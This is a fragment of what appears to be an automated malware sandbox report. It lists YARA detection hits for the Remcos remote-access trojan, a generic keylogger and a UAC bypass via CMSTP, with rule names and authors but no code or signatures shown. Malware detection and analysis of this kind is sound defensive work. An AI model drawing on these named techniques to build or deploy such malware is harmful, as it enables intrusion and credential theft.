---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Click to see the 27 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 18 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |